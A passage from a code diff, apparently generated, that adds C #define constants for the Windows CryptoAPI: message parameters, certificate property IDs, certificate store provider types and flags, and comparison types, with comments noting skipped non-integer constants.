CMSG_ENVELOPE_ALGORITHM_PARAM 0xf +#define CMSG_RECIPIENT_COUNT_PARAM 0x11 +#define CMSG_RECIPIENT_INDEX_PARAM 0x12 +#define CMSG_RECIPIENT_INFO_PARAM 0x13 +#define CMSG_HASH_ALGORITHM_PARAM 0x14 +#define CMSG_HASH_DATA_PARAM 0x15 +#define CMSG_COMPUTED_HASH_PARAM 0x16 +#define CMSG_ENCRYPT_PARAM 0x1a +#define CMSG_ENCRYPTED_DIGEST 0x1b +#define CMSG_ENCODED_SIGNER 0x1c +#define CMSG_ENCODED_MESSAGE 0x1d +#define CMSG_VERSION_PARAM 0x1e +#define CMSG_ATTR_CERT_COUNT_PARAM 0x1f +#define CMSG_ATTR_CERT_PARAM 0x20 +#define CMSG_CMS_RECIPIENT_COUNT_PARAM 0x21 +#define CMSG_CMS_RECIPIENT_INDEX_PARAM 0x22 +#define CMSG_CMS_RECIPIENT_ENCRYPTED_KEY_INDEX_PARAM 0x23 +#define CMSG_CMS_RECIPIENT_INFO_PARAM 0x24 +#define CMSG_UNPROTECTED_ATTR_PARAM 0x25 +#define CMSG_SIGNER_CERT_ID_PARAM 0x26 +#define CMSG_CMS_SIGNER_INFO_PARAM 0x27 +#define CMSG_SIGNED_DATA_V1 0x1 +#define CMSG_SIGNED_DATA_V3 0x3 +#define CMSG_SIGNED_DATA_PKCS_1_5_VERSION 0x1 +#define CMSG_SIGNED_DATA_CMS_VERSION 0x3 +#define CMSG_SIGNER_INFO_V1 0x1 +#define CMSG_SIGNER_INFO_V3 0x3 +#define CMSG_SIGNER_INFO_PKCS_1_5_VERSION 0x1 +#define CMSG_SIGNER_INFO_CMS_VERSION 0x3 +#define CMSG_HASHED_DATA_V0 0x0 +#define CMSG_HASHED_DATA_V2 0x2 +#define CMSG_HASHED_DATA_PKCS_1_5_VERSION 0x0 +#define CMSG_HASHED_DATA_CMS_VERSION 0x2 +#define CMSG_ENVELOPED_DATA_V0 0x0 +#define CMSG_ENVELOPED_DATA_V2 0x2 +#define CMSG_ENVELOPED_DATA_PKCS_1_5_VERSION 0x0 +#define CMSG_ENVELOPED_DATA_CMS_VERSION 0x2 +#define CMSG_ENVELOPED_RECIPIENT_V0 0x0 +#define CMSG_ENVELOPED_RECIPIENT_V2 0x2 +#define CMSG_ENVELOPED_RECIPIENT_V3 0x3 +#define CMSG_ENVELOPED_RECIPIENT_V4 0x4 +#define CMSG_KEY_TRANS_PKCS_1_5_VERSION 0x0 +#define CMSG_KEY_TRANS_CMS_VERSION 0x2 +#define CMSG_KEY_AGREE_VERSION 0x3 +#define CMSG_MAIL_LIST_VERSION 0x4 +#define CMSG_CTRL_VERIFY_SIGNATURE 0x1 +#define CMSG_CTRL_DECRYPT 0x2 +#define CMSG_CTRL_VERIFY_HASH 0x5 +#define CMSG_CTRL_ADD_SIGNER 0x6 +#define CMSG_CTRL_DEL_SIGNER 0x7 +#define CMSG_CTRL_ADD_SIGNER_UNAUTH_ATTR 0x8 +#define CMSG_CTRL_DEL_SIGNER_UNAUTH_ATTR 0x9 +#define CMSG_CTRL_ADD_CERT 0xa +#define CMSG_CTRL_DEL_CERT 0xb +#define CMSG_CTRL_ADD_CRL 0xc +#define CMSG_CTRL_DEL_CRL 0xd +#define CMSG_CTRL_ADD_ATTR_CERT 0xe +#define CMSG_CTRL_DEL_ATTR_CERT 0xf +#define CMSG_CTRL_KEY_TRANS_DECRYPT 0x10 +#define CMSG_CTRL_KEY_AGREE_DECRYPT 0x11 +#define CMSG_CTRL_MAIL_LIST_DECRYPT 0x12 +#define CMSG_CTRL_VERIFY_SIGNATURE_EX 0x13 +#define CMSG_CTRL_ADD_CMS_SIGNER_INFO 0x14 +#define CMSG_CTRL_ENABLE_STRONG_SIGNATURE 0x15 +#define CMSG_VERIFY_SIGNER_PUBKEY 0x1 +#define CMSG_VERIFY_SIGNER_CERT 0x2 +#define CMSG_VERIFY_SIGNER_CHAIN 0x3 +#define CMSG_VERIFY_SIGNER_NULL 0x4 +#define CMSG_VERIFY_COUNTER_SIGN_ENABLE_STRONG_FLAG 0x1 +// SKIPPED const CMSG_OID_GEN_ENCRYPT_KEY_FUNC: non-integer constant +// SKIPPED const CMSG_OID_EXPORT_ENCRYPT_KEY_FUNC: non-integer constant +// SKIPPED const CMSG_OID_IMPORT_ENCRYPT_KEY_FUNC: non-integer constant +#define CMSG_DEFAULT_INSTALLABLE_FUNC_OID 1 +#define CMSG_CONTENT_ENCRYPT_PAD_ENCODED_LEN_FLAG 0x1 +#define CMSG_CONTENT_ENCRYPT_FREE_PARA_FLAG 0x1 +#define CMSG_CONTENT_ENCRYPT_FREE_OBJID_FLAG 0x2 +#define CMSG_CONTENT_ENCRYPT_RELEASE_CONTEXT_FLAG 0x8000 +// SKIPPED const CMSG_OID_GEN_CONTENT_ENCRYPT_KEY_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_GEN_CONTENT_ENCRYPT_KEY_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_GEN_CONTENT_ENCRYPT_KEY_FUNC: non-integer constant +#define CMSG_KEY_TRANS_ENCRYPT_FREE_PARA_FLAG 0x1 +#define CMSG_KEY_TRANS_ENCRYPT_FREE_OBJID_FLAG 0x2 +// SKIPPED const CMSG_OID_EXPORT_KEY_TRANS_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_EXPORT_KEY_TRANS_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_EXPORT_KEY_TRANS_FUNC: non-integer constant +#define CMSG_KEY_AGREE_ENCRYPT_FREE_PARA_FLAG 0x1 +#define CMSG_KEY_AGREE_ENCRYPT_FREE_MATERIAL_FLAG 0x2 +#define CMSG_KEY_AGREE_ENCRYPT_FREE_PUBKEY_ALG_FLAG 0x4 +#define CMSG_KEY_AGREE_ENCRYPT_FREE_PUBKEY_PARA_FLAG 0x8 +#define CMSG_KEY_AGREE_ENCRYPT_FREE_PUBKEY_BITS_FLAG 0x10 +#define CMSG_KEY_AGREE_ENCRYPT_FREE_OBJID_FLAG 0x20 +// SKIPPED const CMSG_OID_EXPORT_KEY_AGREE_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_EXPORT_KEY_AGREE_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_EXPORT_KEY_AGREE_FUNC: non-integer constant +#define CMSG_MAIL_LIST_ENCRYPT_FREE_PARA_FLAG 0x1 +#define CMSG_MAIL_LIST_ENCRYPT_FREE_OBJID_FLAG 0x2 +// SKIPPED const CMSG_OID_EXPORT_MAIL_LIST_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_EXPORT_MAIL_LIST_FUNC: non-integer constant +// SKIPPED const CMSG_OID_IMPORT_KEY_TRANS_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_IMPORT_KEY_TRANS_FUNC: non-integer constant +// SKIPPED const CMSG_OID_IMPORT_KEY_AGREE_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_IMPORT_KEY_AGREE_FUNC: non-integer constant +// SKIPPED const CMSG_OID_IMPORT_MAIL_LIST_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_IMPORT_MAIL_LIST_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_IMPORT_KEY_TRANS_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_IMPORT_KEY_AGREE_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_IMPORT_CONTENT_ENCRYPT_KEY_FUNC: non-integer constant +#define CERT_KEY_PROV_HANDLE_PROP_ID 0x1 +#define CERT_KEY_PROV_INFO_PROP_ID 0x2 +#define CERT_SHA1_HASH_PROP_ID 0x3 +#define CERT_MD5_HASH_PROP_ID 0x4 +#define CERT_HASH_PROP_ID 0x3 +#define CERT_KEY_CONTEXT_PROP_ID 0x5 +#define CERT_KEY_SPEC_PROP_ID 0x6 +#define CERT_IE30_RESERVED_PROP_ID 0x7 +#define CERT_PUBKEY_HASH_RESERVED_PROP_ID 0x8 +#define CERT_ENHKEY_USAGE_PROP_ID 0x9 +#define CERT_CTL_USAGE_PROP_ID 0x9 +#define CERT_NEXT_UPDATE_LOCATION_PROP_ID 0xa +#define CERT_FRIENDLY_NAME_PROP_ID 0xb +#define CERT_PVK_FILE_PROP_ID 0xc +#define CERT_DESCRIPTION_PROP_ID 0xd +#define CERT_ACCESS_STATE_PROP_ID 0xe +#define CERT_SIGNATURE_HASH_PROP_ID 0xf +#define CERT_SMART_CARD_DATA_PROP_ID 0x10 +#define CERT_EFS_PROP_ID 0x11 +#define CERT_FORTEZZA_DATA_PROP_ID 0x12 +#define CERT_ARCHIVED_PROP_ID 0x13 +#define CERT_KEY_IDENTIFIER_PROP_ID 0x14 +#define CERT_AUTO_ENROLL_PROP_ID 0x15 +#define CERT_PUBKEY_ALG_PARA_PROP_ID 0x16 +#define CERT_CROSS_CERT_DIST_POINTS_PROP_ID 0x17 +#define CERT_ISSUER_PUBLIC_KEY_MD5_HASH_PROP_ID 0x18 +#define CERT_SUBJECT_PUBLIC_KEY_MD5_HASH_PROP_ID 0x19 +#define CERT_ENROLLMENT_PROP_ID 0x1a +#define CERT_DATE_STAMP_PROP_ID 0x1b +#define CERT_ISSUER_SERIAL_NUMBER_MD5_HASH_PROP_ID 0x1c +#define CERT_SUBJECT_NAME_MD5_HASH_PROP_ID 0x1d +#define CERT_EXTENDED_ERROR_INFO_PROP_ID 0x1e +#define CERT_RENEWAL_PROP_ID 0x40 +#define CERT_ARCHIVED_KEY_HASH_PROP_ID 0x41 +#define CERT_AUTO_ENROLL_RETRY_PROP_ID 0x42 +#define CERT_AIA_URL_RETRIEVED_PROP_ID 0x43 +#define CERT_AUTHORITY_INFO_ACCESS_PROP_ID 0x44 +#define CERT_BACKED_UP_PROP_ID 0x45 +#define CERT_OCSP_RESPONSE_PROP_ID 0x46 +#define CERT_REQUEST_ORIGINATOR_PROP_ID 0x47 +#define CERT_SOURCE_LOCATION_PROP_ID 0x48 +#define CERT_SOURCE_URL_PROP_ID 0x49 +#define CERT_NEW_KEY_PROP_ID 0x4a +#define CERT_OCSP_CACHE_PREFIX_PROP_ID 0x4b +#define CERT_SMART_CARD_ROOT_INFO_PROP_ID 0x4c +#define CERT_NO_AUTO_EXPIRE_CHECK_PROP_ID 0x4d +#define CERT_NCRYPT_KEY_HANDLE_PROP_ID 0x4e +#define CERT_HCRYPTPROV_OR_NCRYPT_KEY_HANDLE_PROP_ID 0x4f +#define CERT_SUBJECT_INFO_ACCESS_PROP_ID 0x50 +#define CERT_CA_OCSP_AUTHORITY_INFO_ACCESS_PROP_ID 0x51 +#define CERT_CA_DISABLE_CRL_PROP_ID 0x52 +#define CERT_ROOT_PROGRAM_CERT_POLICIES_PROP_ID 0x53 +#define CERT_ROOT_PROGRAM_NAME_CONSTRAINTS_PROP_ID 0x54 +#define CERT_SUBJECT_OCSP_AUTHORITY_INFO_ACCESS_PROP_ID 0x55 +#define CERT_SUBJECT_DISABLE_CRL_PROP_ID 0x56 +#define CERT_CEP_PROP_ID 0x57 +#define CERT_SIGN_HASH_CNG_ALG_PROP_ID 0x59 +#define CERT_SCARD_PIN_ID_PROP_ID 0x5a +#define CERT_SCARD_PIN_INFO_PROP_ID 0x5b +#define CERT_SUBJECT_PUB_KEY_BIT_LENGTH_PROP_ID 0x5c +#define CERT_PUB_KEY_CNG_ALG_BIT_LENGTH_PROP_ID 0x5d +#define CERT_ISSUER_PUB_KEY_BIT_LENGTH_PROP_ID 0x5e +#define CERT_ISSUER_CHAIN_SIGN_HASH_CNG_ALG_PROP_ID 0x5f +#define CERT_ISSUER_CHAIN_PUB_KEY_CNG_ALG_BIT_LENGTH_PROP_ID 0x60 +#define CERT_NO_EXPIRE_NOTIFICATION_PROP_ID 0x61 +#define CERT_AUTH_ROOT_SHA256_HASH_PROP_ID 0x62 +#define CERT_NCRYPT_KEY_HANDLE_TRANSFER_PROP_ID 0x63 +#define CERT_HCRYPTPROV_TRANSFER_PROP_ID 0x64 +#define CERT_SMART_CARD_READER_PROP_ID 0x65 +#define CERT_SEND_AS_TRUSTED_ISSUER_PROP_ID 0x66 +#define CERT_KEY_REPAIR_ATTEMPTED_PROP_ID 0x67 +#define CERT_DISALLOWED_FILETIME_PROP_ID 0x68 +#define CERT_ROOT_PROGRAM_CHAIN_POLICIES_PROP_ID 0x69 +#define CERT_SMART_CARD_READER_NON_REMOVABLE_PROP_ID 0x6a +#define CERT_SHA256_HASH_PROP_ID 0x6b +#define CERT_SCEP_SERVER_CERTS_PROP_ID 0x6c +#define CERT_SCEP_RA_SIGNATURE_CERT_PROP_ID 0x6d +#define CERT_SCEP_RA_ENCRYPTION_CERT_PROP_ID 0x6e +#define CERT_SCEP_CA_CERT_PROP_ID 0x6f +#define CERT_SCEP_SIGNER_CERT_PROP_ID 0x70 +#define CERT_SCEP_NONCE_PROP_ID 0x71 +#define CERT_SCEP_ENCRYPT_HASH_CNG_ALG_PROP_ID 0x72 +#define CERT_SCEP_FLAGS_PROP_ID 0x73 +#define CERT_SCEP_GUID_PROP_ID 0x74 +#define CERT_SERIALIZABLE_KEY_CONTEXT_PROP_ID 0x75 +#define CERT_ISOLATED_KEY_PROP_ID 0x76 +#define CERT_SERIAL_CHAIN_PROP_ID 0x77 +#define CERT_KEY_CLASSIFICATION_PROP_ID 0x78 +#define CERT_OCSP_MUST_STAPLE_PROP_ID 0x79 +#define CERT_DISALLOWED_ENHKEY_USAGE_PROP_ID 0x7a +#define CERT_NONCOMPLIANT_ROOT_URL_PROP_ID 0x7b +#define CERT_PIN_SHA256_HASH_PROP_ID 0x7c +#define CERT_CLR_DELETE_KEY_PROP_ID 0x7d +#define CERT_NOT_BEFORE_FILETIME_PROP_ID 0x7e +#define CERT_NOT_BEFORE_ENHKEY_USAGE_PROP_ID 0x7f +#define CERT_DISALLOWED_CA_FILETIME_PROP_ID 0x80 +#define CERT_SHA1_SHA256_HASH_PROP_ID 0x81 +#define CERT_FIRST_RESERVED_PROP_ID 0x82 +#define CERT_LAST_RESERVED_PROP_ID 0x7fff +#define CERT_FIRST_USER_PROP_ID 0x8000 +#define CERT_LAST_USER_PROP_ID 0xffff +// SKIPPED const szOID_CERT_PROP_ID_PREFIX: non-integer constant +// SKIPPED const szOID_CERT_KEY_IDENTIFIER_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_ISSUER_SERIAL_NUMBER_MD5_HASH_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_SUBJECT_NAME_MD5_HASH_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_MD5_HASH_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_SHA256_HASH_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_SIGNATURE_HASH_PROP_ID: non-integer constant +// SKIPPED const szOID_DISALLOWED_HASH: non-integer constant +// SKIPPED const szOID_CERT_DISALLOWED_FILETIME_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_DISALLOWED_CA_FILETIME_PROP_ID: non-integer constant +#define CERT_ACCESS_STATE_WRITE_PERSIST_FLAG 0x1 +#define CERT_ACCESS_STATE_SYSTEM_STORE_FLAG 0x2 +#define CERT_ACCESS_STATE_LM_SYSTEM_STORE_FLAG 0x4 +#define CERT_ACCESS_STATE_GP_SYSTEM_STORE_FLAG 0x8 +#define CERT_ACCESS_STATE_SHARED_USER_FLAG 0x10 +// SKIPPED const szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION: non-integer constant +// SKIPPED const szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION: non-integer constant +// SKIPPED const szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL: non-integer constant +#define CERT_STORE_PROV_MSG 1 +#define CERT_STORE_PROV_MEMORY 2 +#define CERT_STORE_PROV_FILE 3 +#define CERT_STORE_PROV_REG 4 +#define CERT_STORE_PROV_PKCS7 5 +#define CERT_STORE_PROV_SERIALIZED 6 +#define CERT_STORE_PROV_FILENAME_A 7 +#define CERT_STORE_PROV_FILENAME_W 8 +#define CERT_STORE_PROV_FILENAME 8 +#define CERT_STORE_PROV_SYSTEM_A 9 +#define CERT_STORE_PROV_SYSTEM_W 10 +#define CERT_STORE_PROV_SYSTEM 10 +#define CERT_STORE_PROV_COLLECTION 11 +#define CERT_STORE_PROV_SYSTEM_REGISTRY_A 12 +#define CERT_STORE_PROV_SYSTEM_REGISTRY_W 13 +#define CERT_STORE_PROV_SYSTEM_REGISTRY 13 +#define CERT_STORE_PROV_PHYSICAL_W 14 +#define CERT_STORE_PROV_PHYSICAL 14 +#define CERT_STORE_PROV_SMART_CARD_W 15 +#define CERT_STORE_PROV_SMART_CARD 15 +#define CERT_STORE_PROV_LDAP_W 16 +#define CERT_STORE_PROV_LDAP 16 +#define CERT_STORE_PROV_PKCS12 17 +// SKIPPED const sz_CERT_STORE_PROV_MEMORY: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_FILENAME_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_FILENAME: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SYSTEM_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SYSTEM: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_PKCS7: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_PKCS12: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SERIALIZED: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_COLLECTION: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SYSTEM_REGISTRY_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SYSTEM_REGISTRY: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_PHYSICAL_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_PHYSICAL: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SMART_CARD_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SMART_CARD: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_LDAP_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_LDAP: non-integer constant +#define CERT_STORE_SIGNATURE_FLAG 0x1 +#define CERT_STORE_TIME_VALIDITY_FLAG 0x2 +#define CERT_STORE_REVOCATION_FLAG 0x4 +#define CERT_STORE_NO_CRL_FLAG 0x10000 +#define CERT_STORE_NO_ISSUER_FLAG 0x20000 +#define CERT_STORE_BASE_CRL_FLAG 0x100 +#define CERT_STORE_DELTA_CRL_FLAG 0x200 +#define CERT_STORE_UNSAFE_PHYSICAL_FLAG 0x20 +#define CERT_STORE_SHARE_STORE_FLAG 0x40 +#define CERT_STORE_MANIFOLD_FLAG 0x100 +#define CERT_SYSTEM_STORE_MASK 0xffff0000 +#define CERT_SYSTEM_STORE_UNPROTECTED_FLAG 0x40000000 +#define CERT_SYSTEM_STORE_DEFER_READ_FLAG 0x20000000 +#define CERT_SYSTEM_STORE_LOCATION_SHIFT 0x10 +#define CERT_SYSTEM_STORE_CURRENT_USER_ID 0x1 +#define CERT_SYSTEM_STORE_LOCAL_MACHINE_ID 0x2 +#define CERT_SYSTEM_STORE_CURRENT_SERVICE_ID 0x4 +#define CERT_SYSTEM_STORE_SERVICES_ID 0x5 +#define CERT_SYSTEM_STORE_USERS_ID 0x6 +#define CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY_ID 0x7 +#define CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY_ID 0x8 +#define CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE_ID 0x9 +#define CERT_SYSTEM_STORE_LOCAL_MACHINE_WCOS_ID 0xa +// SKIPPED const CERT_GROUP_POLICY_SYSTEM_STORE_REGPATH: non-integer constant +// SKIPPED const CERT_EFSBLOB_VALUE_NAME: non-integer constant +// SKIPPED const CERT_PROT_ROOT_FLAGS_VALUE_NAME: non-integer constant +#define CERT_PROT_ROOT_DISABLE_CURRENT_USER_FLAG 0x1 +#define CERT_PROT_ROOT_INHIBIT_ADD_AT_INIT_FLAG 0x2 +#define CERT_PROT_ROOT_INHIBIT_PURGE_LM_FLAG 0x4 +#define CERT_PROT_ROOT_DISABLE_LM_AUTH_FLAG 0x8 +#define CERT_PROT_ROOT_ONLY_LM_GPT_FLAG 0x8 +#define CERT_PROT_ROOT_DISABLE_NT_AUTH_REQUIRED_FLAG 0x10 +#define CERT_PROT_ROOT_DISABLE_NOT_DEFINED_NAME_CONSTRAINT_FLAG 0x20 +#define CERT_PROT_ROOT_DISABLE_PEER_TRUST 0x10000 +// SKIPPED const CERT_PROT_ROOT_PEER_USAGES_VALUE_NAME: non-integer constant +// SKIPPED const CERT_PROT_ROOT_PEER_USAGES_VALUE_NAME_A: non-integer constant +// SKIPPED const CERT_LOCAL_MACHINE_SYSTEM_STORE_REGPATH: non-integer constant +// SKIPPED const CERT_TRUST_PUB_AUTHENTICODE_FLAGS_VALUE_NAME: non-integer constant +#define CERT_TRUST_PUB_ALLOW_TRUST_MASK 0x3 +#define CERT_TRUST_PUB_ALLOW_END_USER_TRUST 0x0 +#define CERT_TRUST_PUB_ALLOW_MACHINE_ADMIN_TRUST 0x1 +#define CERT_TRUST_PUB_ALLOW_ENTERPRISE_ADMIN_TRUST 0x2 +#define CERT_TRUST_PUB_CHECK_PUBLISHER_REV_FLAG 0x100 +#define CERT_TRUST_PUB_CHECK_TIMESTAMP_REV_FLAG 0x200 +// SKIPPED const CERT_OCM_SUBCOMPONENTS_LOCAL_MACHINE_REGPATH: non-integer constant +// SKIPPED const CERT_OCM_SUBCOMPONENTS_ROOT_AUTO_UPDATE_VALUE_NAME: non-integer constant +// SKIPPED const CERT_DISABLE_ROOT_AUTO_UPDATE_VALUE_NAME: non-integer constant +// SKIPPED const CERT_ENABLE_DISALLOWED_CERT_AUTO_UPDATE_VALUE_NAME: non-integer constant +// SKIPPED const CERT_DISABLE_PIN_RULES_AUTO_UPDATE_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTO_UPDATE_ROOT_DIR_URL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTO_UPDATE_SYNC_FROM_DIR_URL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_AUTO_UPDATE_ROOT_DIR_URL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_AUTO_UPDATE_SYNC_DELTA_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_AUTO_UPDATE_FLAGS_VALUE_NAME: non-integer constant +#define CERT_AUTH_ROOT_AUTO_UPDATE_DISABLE_UNTRUSTED_ROOT_LOGGING_FLAG 0x1 +#define CERT_AUTH_ROOT_AUTO_UPDATE_DISABLE_PARTIAL_CHAIN_LOGGING_FLAG 0x2 +#define CERT_AUTO_UPDATE_DISABLE_RANDOM_QUERY_STRING_FLAG 0x4 +// SKIPPED const CERT_AUTH_ROOT_AUTO_UPDATE_LAST_SYNC_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_AUTO_UPDATE_ENCODED_CTL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_CTL_FILENAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_CTL_FILENAME_A: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_CAB_FILENAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_SEQ_FILENAME: non-integer constant +// SKIPPED const CERT_AUTH_ROOT_CERT_EXT: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_AUTO_UPDATE_SYNC_DELTA_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_AUTO_UPDATE_LAST_SYNC_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_AUTO_UPDATE_ENCODED_CTL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_CTL_FILENAME: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_CTL_FILENAME_A: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_CAB_FILENAME: non-integer constant +// SKIPPED const CERT_DISALLOWED_CERT_AUTO_UPDATE_LIST_IDENTIFIER: non-integer constant +// SKIPPED const CERT_PIN_RULES_AUTO_UPDATE_SYNC_DELTA_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_PIN_RULES_AUTO_UPDATE_LAST_SYNC_TIME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_PIN_RULES_AUTO_UPDATE_ENCODED_CTL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_PIN_RULES_CTL_FILENAME: non-integer constant +// SKIPPED const CERT_PIN_RULES_CTL_FILENAME_A: non-integer constant +// SKIPPED const CERT_PIN_RULES_CAB_FILENAME: non-integer constant +// SKIPPED const CERT_PIN_RULES_AUTO_UPDATE_LIST_IDENTIFIER: non-integer constant +#define CERT_REGISTRY_STORE_REMOTE_FLAG 0x10000 +#define CERT_REGISTRY_STORE_SERIALIZED_FLAG 0x20000 +#define CERT_REGISTRY_STORE_CLIENT_GPT_FLAG 0x80000000 +#define CERT_REGISTRY_STORE_LM_GPT_FLAG 0x1000000 +#define CERT_REGISTRY_STORE_ROAMING_FLAG 0x40000 +#define CERT_REGISTRY_STORE_MY_IE_DIRTY_FLAG 0x80000 +#define CERT_REGISTRY_STORE_EXTERNAL_FLAG 0x100000 +// SKIPPED const CERT_IE_DIRTY_FLAGS_REGPATH: non-integer constant +#define CERT_FILE_STORE_COMMIT_ENABLE_FLAG 0x10000 +#define CERT_LDAP_STORE_SIGN_FLAG 0x10000 +#define CERT_LDAP_STORE_AREC_EXCLUSIVE_FLAG 0x20000 +#define CERT_LDAP_STORE_OPENED_FLAG 0x40000 +#define CERT_LDAP_STORE_UNBIND_FLAG 0x80000 +// SKIPPED const CRYPT_OID_OPEN_STORE_PROV_FUNC: non-integer constant +#define CERT_STORE_PROV_GP_SYSTEM_STORE_FLAG 0x20 +#define CERT_STORE_PROV_SHARED_USER_FLAG 0x40 +#define CERT_STORE_PROV_CLOSE_FUNC 0x0 +#define CERT_STORE_PROV_READ_CERT_FUNC 0x1 +#define CERT_STORE_PROV_WRITE_CERT_FUNC 0x2 +#define CERT_STORE_PROV_DELETE_CERT_FUNC 0x3 +#define CERT_STORE_PROV_SET_CERT_PROPERTY_FUNC 0x4 +#define CERT_STORE_PROV_READ_CRL_FUNC 0x5 +#define CERT_STORE_PROV_WRITE_CRL_FUNC 0x6 +#define CERT_STORE_PROV_DELETE_CRL_FUNC 0x7 +#define CERT_STORE_PROV_SET_CRL_PROPERTY_FUNC 0x8 +#define CERT_STORE_PROV_READ_CTL_FUNC 0x9 +#define CERT_STORE_PROV_WRITE_CTL_FUNC 0xa +#define CERT_STORE_PROV_DELETE_CTL_FUNC 0xb +#define CERT_STORE_PROV_SET_CTL_PROPERTY_FUNC 0xc +#define CERT_STORE_PROV_CONTROL_FUNC 0xd +#define CERT_STORE_PROV_FIND_CERT_FUNC 0xe +#define CERT_STORE_PROV_FREE_FIND_CERT_FUNC 0xf +#define CERT_STORE_PROV_GET_CERT_PROPERTY_FUNC 0x10 +#define CERT_STORE_PROV_FIND_CRL_FUNC 0x11 +#define CERT_STORE_PROV_FREE_FIND_CRL_FUNC 0x12 +#define CERT_STORE_PROV_GET_CRL_PROPERTY_FUNC 0x13 +#define CERT_STORE_PROV_FIND_CTL_FUNC 0x14 +#define CERT_STORE_PROV_FREE_FIND_CTL_FUNC 0x15 +#define CERT_STORE_PROV_GET_CTL_PROPERTY_FUNC 0x16 +#define CERT_STORE_PROV_WRITE_ADD_FLAG 0x1 +#define CERT_STORE_SAVE_AS_PKCS12 0x3 +#define CERT_CLOSE_STORE_FORCE_FLAG 0x1 +#define CERT_CLOSE_STORE_CHECK_FLAG 0x2 +#define CERT_COMPARE_MASK 0xffff +#define CERT_COMPARE_ANY 0x0 +#define CERT_COMPARE_SHA1_HASH 0x1 +#define CERT_COMPARE_NAME 0x2 +#define CERT_COMPARE_ATTR 0x3 +#define CERT_COMPARE_MD5_HASH 0x4 +#define CERT_COMPARE_PROPERTY 0x5 +#define CERT_COMPARE_PUBLIC_KEY 0x6 +#define CERT_COMPARE_HASH 0x1 +#define CERT_COMPARE_NAME_STR_A 0x7 +#define CERT_COMPARE_NAME_STR_W 0x8 +#define CERT_COMPARE_KEY_SPEC 0x9 +#define CERT_COMPARE_ENHKEY_USAGE 0xa +#define CERT_COMPARE_CTL_USAGE 0xa +#define CERT_COMPARE_SUBJECT_CERT 0xb +#define CERT_COMPARE_ISSUER_OF 0xc +#define CERT_COMPARE_EXISTING 0xd +#define CERT_COMPARE_SIGNATURE_HASH 0xe +#define CERT_COMPARE_KEY_IDENTIFIER 0xf +#define CERT_COMPARE_CERT_ID 0x10 +#define CERT_COMPARE_CROSS_CERT_DIST_POINTS 0x11 +#define CERT_COMPARE_PUBKEY_MD5_HASH 0x12 +#define CERT_COMPARE_SUBJECT_INFO_ACCESS 0x13 +#define CERT_COMPARE_HASH_STR 0x14 +#define CERT_COMPARE_HAS_PRIVATE_KEY 0x15 +#define CERT_COMPARE_SHA256_HASH 0x16 +#define CERT_COMPARE_SHA1_SHA256_HASH 0x17 +#define CERT_SET_PROPERTY_IGNORE_PERSIST_ERROR_FLAG 0x80000000 +#define CERT_SET_PROPERTY_INHIBIT_PERSIST_FLAG 0x40000000 +#define CTL_ENTRY_FROM_PROP_CHAIN_FLAG 0x1 +#define CRL_FIND_ANY 0x0 +#define CRL_FIND_ISSUED_BY 0x1 +#define CRL_FIND_EXISTING 0x2 +#define 